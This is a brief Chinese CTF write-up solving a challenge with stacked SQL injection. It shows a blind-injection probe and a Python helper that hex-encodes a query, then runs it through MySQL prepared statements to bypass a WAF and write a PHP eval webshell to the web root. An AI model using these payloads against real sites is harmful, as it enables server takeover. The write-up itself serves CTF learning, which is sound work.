知识点

  1. 堆叠注入
  2. 预处理
  3. SQL文件写入
  4. fuzz 没想到吧(这个知识点我不会)

    解题

  5. 拿到题目直接注册了账号 到用户信息界面

  6. 在url上探测注入点
  7. 应该是一个数字型注入
  8. 看大佬说可以fuzz 我是没fuzz成功 无回显,返回的包也一样,顶不住
  9. 第一个利用点 可以根据回显来盲注

    1. 1^(ascii(mid(user(),1,1))>150)
  10. 但是可以说没啥用了 不过可以读源码 这里没尝试

  11. 最后解题用的是堆叠注入加文件写入
    1. payload = "select '<?php @eval($_POST[shell]);?>' into outfile '/var/www/html/favicon/shell.php';"
    2. p = ''
    3. for i in payload:
    4. p = p + hex(ord(i)).replace('0x','')
    5. p = '0x' + p
    6. print(p)
    这个就是预处理的语句 用16进制绕过waf
    之后就是
    1. set @sql=0x73656c65637420273c3f70687020406576616c28245f504f53545b7368656c6c5d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e706870273b
    2. prepare test from @sql;
    3. execute test;
    直接写入文件 获取shell